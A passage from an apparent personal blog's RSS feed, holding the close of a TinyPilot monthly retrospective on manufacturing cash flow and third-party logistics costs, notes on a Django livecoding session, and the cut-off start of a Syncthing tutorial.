&lt;p>Under TinyPilot&amp;rsquo;s current system, our materials and manufacturing costs are spread out over months or sometimes even years. For example, in February 2022, I spent $20k stockpiling critical electronic components, and we&amp;rsquo;re still working our way through that batch. That&amp;rsquo;s $20k tied up for 14 months and counting.&lt;/p>
&lt;p>Stockpiling electronic components has the longest payback period, but TinyPilot has several expenses that tie up cash for months. We pay a 30% deposit on metal cases three months before we receive them and then the last 70% when they&amp;rsquo;re ready to ship. We receive the cases in batches of 1,000 at a time, so it takes us three months just to assemble them all into devices. That means that it can take four to six months for us to earn back the cost of the cases by selling devices.&lt;/p>
&lt;p>With the contract manufacturer, payment is due 30 days after they ship the order. That&amp;rsquo;s a much tighter turnaround between the time I pay for materials and the time I turn a profit by selling the finished product. If the order arrives at the warehouse in a week, I have almost three full weeks of selling the finished units before I even have to pay for them.&lt;/p>
&lt;h3 id="cost-tracking">Cost tracking&lt;/h3>
&lt;p>Our current system makes it difficult to track costs associated with building a particular TinyPilot device.&lt;/p>
&lt;p>For example, the $20k batch of electronic components I mentioned above had lots of additional costs along the way just to be available in various stages of our production:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Cost (from memory)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Tariff on importing the components to the US&lt;/td>
 &lt;td>$5,000&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Shipping the components to our hardware consultants for initial production runs&lt;/td>
 &lt;td>$300&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Inventorying the components to ship to the manufacturer&lt;/td>
 &lt;td>$750&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Shipping the components to our manufacturer in China and paying tariffs again&lt;/td>
 &lt;td>$1,200&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Once it reached our manufacturer in China, we paid to have the manufacturer assemble the components into PCBs. The manufacturer shipped the PCBs to the US, and we paid another tariff. And then there&amp;rsquo;s a labor cost on our side to assemble the PCBs and other components into a Voyager 2a device.&lt;/p>
&lt;p>So how much did it cost to produce a particular Voyager 2a device? I&amp;rsquo;m sure I could figure it out if I had a way of attributing every cost along the way to a particular batch of components, but we don&amp;rsquo;t have tooling that supports anything close to that.&lt;/p>
&lt;p>When we move to a contract manufacturer, our manufacturing costs boil down to just three expenses:&lt;/p>
&lt;ol>
&lt;li>The price I pay per unit to the contract manufacturer.&lt;/li>
&lt;li>The price I pay per unit for Raspberry Pis.&lt;/li>
&lt;li>The shipping cost from my manufacturer to the fulfillment warehouse.&lt;/li>
&lt;/ol>
&lt;p>The contract manufacturer&amp;rsquo;s factory is in Vietnam, and the US supposedly has no import tariffs on electronics from Vietnam. I say &amp;ldquo;supposedly&amp;rdquo; because I&amp;rsquo;m reserving confidence until I go through the actual import process. If it&amp;rsquo;s true, it cuts out another big expense and further simplifies cost tracking.&lt;/p>
&lt;h2 id="how-much-does-a-3pl-vendor-cost">How much does a 3PL vendor cost?&lt;/h2>
&lt;p>One of TinyPilot&amp;rsquo;s major projects this year has been transitioning order fulfillment from our home-rolled solution &lt;a href="https://mtlynch.io/retrospectives/2023/05/#getting-over-the-3pl-hump">to a third-party logistics (3PL) vendor&lt;/a>.&lt;/p>
&lt;p>As the sole founder of TinyPilot, I&amp;rsquo;m mainly constrained by time. I was eager to shift to a 3PL because it &lt;a href="https://mtlynch.io/retrospectives/2022/10/#packing-and-shipping-customer-orders">reduces complexity of what happens within TinyPilot&lt;/a>. Given the value, I expected to pay around $20 per order to the 3PL vendor, but it ended up being much cheaper.&lt;/p>
&lt;p>Here&amp;rsquo;s the cost breakdown from the first full month of working with the 3PL for all of our orders:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Charge&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Shipments from TinyPilot to 3PL&lt;/td>
 &lt;td>$560&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Warehouse storage&lt;/td>
 &lt;td>$28&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software license fee&lt;/td>
 &lt;td>$45&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Time receiving inventory&lt;/td>
 &lt;td>$288&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Order picking&lt;/td>
 &lt;td>$336&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Communication&lt;/td>
 &lt;td>$72&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Payment processing fee&lt;/td>
 &lt;td>$10&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total (w/o postage or shipping materials)&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,585 ($8.86 per order)&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Shipping materials&lt;/td>
 &lt;td>$223&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Postage&lt;/td>
 &lt;td>$2277&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$4,085 ($22.82 per order)&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I split out postage and shipping material because we&amp;rsquo;d incur those expenses anyway. We pay slightly more because the 3PL adds a markup of 15% or about $1 per order.&lt;/p>
&lt;p>In total, the 3PL&amp;rsquo;s costs work out to about $9 per order before postage and shipping materials, which is lower than I expected. It&amp;rsquo;s more expensive than doing it in-house, but it gets us closer to not needing our office, which would cut about $750 in monthly expenses.&lt;/p>
&lt;p>Using a 3PL also improves cash flow a little bit. When TinyPilot was doing its own fulfillment, we had to pay for shipping materials in advance and then labor and postage as they occurred. With the 3PL, we get an invoice at the end of the month, and we have a month to pay it. In other words, for an order that the 3PL processed on May 1st, I pay on June 30th, so the 3PL allows TinyPilot to hold cash longer.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="poster-generators-in-wanderjest">Poster generators in WanderJest&lt;/h3>
&lt;p>In early 2020, &lt;a href="https://mtlynch.io/retrospectives/2020/01/">I created WanderJest&lt;/a>, a business that was supposed to help comedy fans find live comedy. I shuttered it when COVID hit, but I&amp;rsquo;ve been tinkering with it on weekends for the past few months.&lt;/p>
&lt;p>The problem with listing live comedy shows was that it&amp;rsquo;s labor intensive. Show producers typically announce their shows on places like Facebook or Eventbrite, and both platforms are actively hostile to automated tools consuming the data. To list show information on WanderJest, I had to look on other platforms and copy all the details by hand.&lt;/p>
&lt;p>I wanted to encourage comedians to enter information about their own shows. If it&amp;rsquo;s extra work, they&amp;rsquo;re not going to do it, so I&amp;rsquo;ve been looking for ways that WanderJest can improve tasks comedians are already doing and capture show information as a side effect.&lt;/p>
&lt;p>I frequently see comedians do this thing on social media where they&amp;rsquo;ll post an image with a list of their upcoming shows:&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 680px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/06/comedy-dates.webp">
 &lt;img
 
 sizes="(min-width: 768px) 680px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/06/comedy-dates_hu_9a59bd48176f2c6f.webp 300w, https://mtlynch.io/retrospectives/2023/06/comedy-dates_hu_ad9dd30b52934aa5.webp 600w, https://mtlynch.io/retrospectives/2023/06/comedy-dates.webp 680w'
 src="https://mtlynch.io/retrospectives/2023/06/comedy-dates.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From the looks of it, the comedians seem to be creating these images by hand using general-purpose image editing tools. As show details changed, the comedians would sometimes clunkily edit on top of their previous image, presumably because they didn&amp;rsquo;t have a way of going back and editing the original.&lt;/p>
&lt;p>My idea was to create a specialized tool for creating these images. It would save comedians&amp;rsquo; data so they could edit it later and produce updated images as they added shows to their schedule.&lt;/p>
&lt;p>If my tool was easier to use and produced better output than general-purpose tools, comedians would use it. It would drive people to WanderJest, and it would be a way for WanderJest to get information about shows.&lt;/p>
&lt;p>I spent a Saturday learning about the &lt;code>&amp;lt;canvas&amp;gt;&lt;/code> element in browser APIs and threw together this prototype:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="schedule-image.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Demo of WanderJest&amp;rsquo;s poster generator for comedians&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>There was one comedian that I&amp;rsquo;d met a couple of times, and I&amp;rsquo;d seen her post images like this. I sent her a Facebook message showing her the tool, and she said it looked great! The next day, she posted another image of her upcoming shows using a general-purpose image editing tool&amp;hellip;&lt;/p>
&lt;p>So, no successful adoptees yet, but I&amp;rsquo;m going to try it with a few more comedians before I give up on the idea.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Onboarded a new TinyPilot employee&lt;/li>
&lt;li>Reached out to three YouTube creators about TinyPilot&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/syncthing-on-fly.io/">a tutorial about deploying Syncthing on Fly.io&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When switching to outsourced vendors, consider the impact on both cost and cash flow.
&lt;ul>
&lt;li>With the 3PL, costs increased, but cash flow also improved slightly.&lt;/li>
&lt;li>With the contract manufacturer, our manufacturing costs will become more bursty, but cash flow will improve substantially.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Start a manufacturing batch with a new contract manufacturer.&lt;/li>
&lt;li>Publish TinyPilot Pro 2.6.0.&lt;/li>
&lt;li>Reach $95k in revenue.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Takeaways from Cory Zue's May 2023 Livecoding Session</title><link>https://mtlynch.io/notes/czue-livecoding-2023-05-05/</link><pubDate>Sat, 03 Jun 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/czue-livecoding-2023-05-05/</guid><description>&lt;p>My friend &lt;a href="https://www.coryzue.com/">Cory Zue&lt;/a> has been publishing his live coding sessions, so I decided to watch one and record my notes.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/zEDaeG6nw48?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="my-background-vs-corys">My background vs. Cory&amp;rsquo;s&lt;/h2>
&lt;p>I&amp;rsquo;ve read a lot of Cory&amp;rsquo;s blog. We&amp;rsquo;re both Python developers, but he specializes in Django, whereas I&amp;rsquo;ve always worked with thinner frameworks like Flask. I have no experience with Django, but I&amp;rsquo;m comfortable in Python.&lt;/p></description><content:encoded>&lt;p>My friend &lt;a href="https://www.coryzue.com/">Cory Zue&lt;/a> has been publishing his live coding sessions, so I decided to watch one and record my notes.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/zEDaeG6nw48?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="my-background-vs-corys">My background vs. Cory&amp;rsquo;s&lt;/h2>
&lt;p>I&amp;rsquo;ve read a lot of Cory&amp;rsquo;s blog. We&amp;rsquo;re both Python developers, but he specializes in Django, whereas I&amp;rsquo;ve always worked with thinner frameworks like Flask. I have no experience with Django, but I&amp;rsquo;m comfortable in Python.&lt;/p>
&lt;h2 id="dev-environment">Dev environment&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env_hu_17a6083791bf3924.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env_hu_e12b5a1c3548413e.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env_hu_ec023d6f8c1fb978.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env_hu_6c458cd41278b687.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/dev-env.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=0m10s">Timestamp 0:10&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>OS: Ubuntu
&lt;ul>
&lt;li>I expected Cory to be an OS X guy.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Browser: Firefox&lt;/li>
&lt;li>IDE: PyCharm (I think)
&lt;ul>
&lt;li>I&amp;rsquo;ve never used PyCharm and am more used to VS Code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="models">Models&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/models.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/models_hu_c0524ec7f6a47828.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/models_hu_f53e019d661d6c21.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/models_hu_74b585f909055278.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/models_hu_82628622827f109b.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/models.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/models.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=2m53s">Timestamp 2:53&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>I&amp;rsquo;m getting worried that I&amp;rsquo;m going to get lost with Django stuff.&lt;/li>
&lt;li>Cory shows the &lt;code>ChatMessage&lt;/code> model, which seems to be an ORM object that tells the framework how to store and retrieve the object from a database.
&lt;ul>
&lt;li>All new to me, as I&amp;rsquo;ve never worked with an ORM.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="migrations">Migrations&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations_hu_66960998174ecf6c.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations_hu_af92d5dad539ecf4.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations_hu_cf7e5b174a062f84.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations_hu_8d69de4a656ac970.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/migrations.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=3m35s">Timestamp 3:35&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Cory runs a command &lt;code>./manage.py makemigrations chat&lt;/code>, which seems to generate a database migration so that his database can support the two models he just defined.&lt;/li>
&lt;li>Cory then runs &lt;code>./manage.py migrate&lt;/code> to perform the migration he just created.&lt;/li>
&lt;li>Django is definitely more &amp;ldquo;magic&amp;rdquo; than what I&amp;rsquo;m used to, as I&amp;rsquo;ve been creating my database migrations by hand.
&lt;ul>
&lt;li>What Cory is doing is much less tedious than my experience writing a bunch of SQL boilerplate every time I define a new object, but it also adds a lot of abstraction between the developer and the database.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="creating-admin-ui">Creating admin UI&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs_hu_ac6e619c66528440.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs_hu_405032767dd9092a.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs_hu_5c2358f61cadcdb2.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs_hu_dce7556f05298569.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-defs.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=3m50s">Timestamp 3:50&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Cory uses ChatGPT to create the boilerplate definitions of an admin page based on the models he added.
&lt;ul>
&lt;li>ChatGPT gets it right, but Cory needs to tweak it to match his preferred Django syntax.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui_hu_54143926212b6067.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui_hu_61d03994ec446843.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui_hu_d685e8162f1a9e31.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui_hu_94e1164b9a517918.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/admin-ui.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=5m49s">Timestamp 5:49&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>It looks like Django uses the definitions to auto-generate an admin UI to add/edit the new models in the database.
&lt;ul>
&lt;li>That&amp;rsquo;s neat. When I do this, I end up just querying the database directly, but this is certainly easier.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="translations">Translations&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations_hu_ffe8ce236c79f03f.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations_hu_9c2d4fc4014155f.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations_hu_878be9f9e35dbfc7.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations_hu_f5c22c5cf0b1c6b9.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/translations.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=10m5s">Timestamp 10:05&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Cory seems like he&amp;rsquo;s designing this app for localizability, which is something I haven&amp;rsquo;t thought about in ~15 years.&lt;/li>
&lt;li>The &lt;a href="https://docs.djangoproject.com/en/4.2/topics/i18n/translation/#translate-template-tag">syntax for an internationalizable string&lt;/a> seems pretty straightforward.
&lt;ul>
&lt;li>&lt;code>{% translate &amp;quot;Manage your chats here.&amp;quot; %}&lt;/code>&lt;/li>
&lt;li>You must have to supply translations to other languages somewhere else, so I&amp;rsquo;m curious about how that works.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="django-control-flow">Django control flow&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404_hu_2a73de185bb51b39.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404_hu_f2e2ae7b787c5c6f.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404_hu_daa6e183ddc0cbcd.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404_hu_c02feee2cfee6352.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/get-object-or-404.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=14m52s">Timestamp 14:52&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Django is weird! You can just do a &lt;code>get_object_or_404&lt;/code>, which seems to exit the function and return an HTTP 404 error if it can&amp;rsquo;t find the object.
&lt;ul>
&lt;li>This is quite foreign to me coming from Python Flask or Go, which both force the developer to be more explicit about returning an HTTP error (except for unhandled exceptions, which become HTTP 500 errors).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="git-gui">git GUI&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui_hu_31bc320715b83c68.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui_hu_75408e76e08f4193.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui_hu_eb3782af12e3fc0c.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui_hu_2bcb97d5a43ccaa8.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/git-gui.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=25m08s">Timestamp 25:08&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>Cory uses a GUI for git that I&amp;rsquo;ve never seen before.
&lt;ul>
&lt;li>He spawns it by calling &lt;code>git g&lt;/code>, which I think is a Cory-specific git alias.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cory adds each file to the commit one-by-one as he reviews it.&lt;/li>
&lt;li>Cory has a pre-commit hook that rejects the commit if the formatting is incorrect, and then it reformats it to the desired style.
&lt;ul>
&lt;li>This is something I&amp;rsquo;ve always been afraid to do, as I don&amp;rsquo;t trust automated tools to change my code.&lt;/li>
&lt;li>The way Cory does it, the automated tools change his code, but then he still reviews the change before committing it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="sharing-code-between-client-side-and-server-side-rendering">Sharing code between client-side and server-side rendering&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx_hu_b223d96dd63979ae.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx_hu_26824d620eab9251.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx_hu_5f540e1205b99ff4.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx_hu_22b91ec2c6d45a6d.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/htmx.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=29m06s">Timestamp 29:06&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>
&lt;p>Cory seems to be able to use &lt;a href="https://htmx.org">htmx&lt;/a> to solve a problem I struggle with: how to avoid duplicating code between client-side rendering and server-side rendering.&lt;/p>
&lt;ul>
&lt;li>In web apps, I often run into a situation where I want to add content to the page, but I don&amp;rsquo;t want to completely reload the page.&lt;/li>
&lt;li>If the user reloads, they should see the same content that they saw when we added the content dynamically.&lt;/li>
&lt;li>I often get stuck between three bad options:
&lt;ol>
&lt;li>Always render the content client-side, which is complicated and renders more slowly in the browser.&lt;/li>
&lt;li>Always render the content server-side, which means that I generally have to reload the entire page to show changes.&lt;/li>
&lt;li>Implement rendering logic twice: once for client-side rendering and once for server-side rendering.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>I can&amp;rsquo;t see enough of it in the video, but it looks like htmx lets Cory define his HTML server-side, and then the htmx attributes let certain elements re-render themselves without a full reload or Cory having to reimplement the render logic.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="chatgpt-api">ChatGPT API&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api_hu_63a44008ee0dccc4.png 300w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api_hu_59ac1e68456a44d2.png 600w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api_hu_cd9a38b449d0d09b.png 800w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api_hu_50f4be43ff710561.png 1200w, https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api.png 1920w'
 src="https://mtlynch.io/notes/czue-livecoding-2023-05-05/chatgpt-api.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://youtu.be/zEDaeG6nw48?t=36m48s">Timestamp 36:48&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>ChatGPT API is surprisingly easy to use.
&lt;ul>
&lt;li>The API is just a model name and a list of messages in the conversation.&lt;/li>
&lt;li>You maintain state of the conversation by passing ChatGPT the full message history on every API call.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="final-thoughts">Final thoughts&lt;/h2>
&lt;p>I expected Django to be a heavy framework, but it&amp;rsquo;s even heavier than I expected. Django has its own wrappers for Python lists, dicts, and enums. The space between Django and pure Python feels like the gap between React and vanilla JavaScript.&lt;/p>
&lt;p>I had trouble adapting lessons to my own work because a lot of what Cory was doing was Django-specific. It could just be that I got unluck with video choice, as the work Cory was doing in this video was largely gluing different elements of Django together.&lt;/p>
&lt;p>Still, it&amp;rsquo;s interesting to see the developer experience in a stack where you&amp;rsquo;re designing everything from a higher layer of abstraction.&lt;/p></content:encoded></item><item><title>Deploying Syncthing on a Fly.io Cloud Server</title><link>https://mtlynch.io/syncthing-on-fly.io/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/syncthing-on-fly.io/</guid><description>&lt;p>I recently discovered &lt;a href="https://syncthing.net/">Syncthing&lt;/a>, an open-source tool for syncing files across multiple machines.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/syncthing-on-fly.io/syncthing-dashboard.png">
 &lt;img
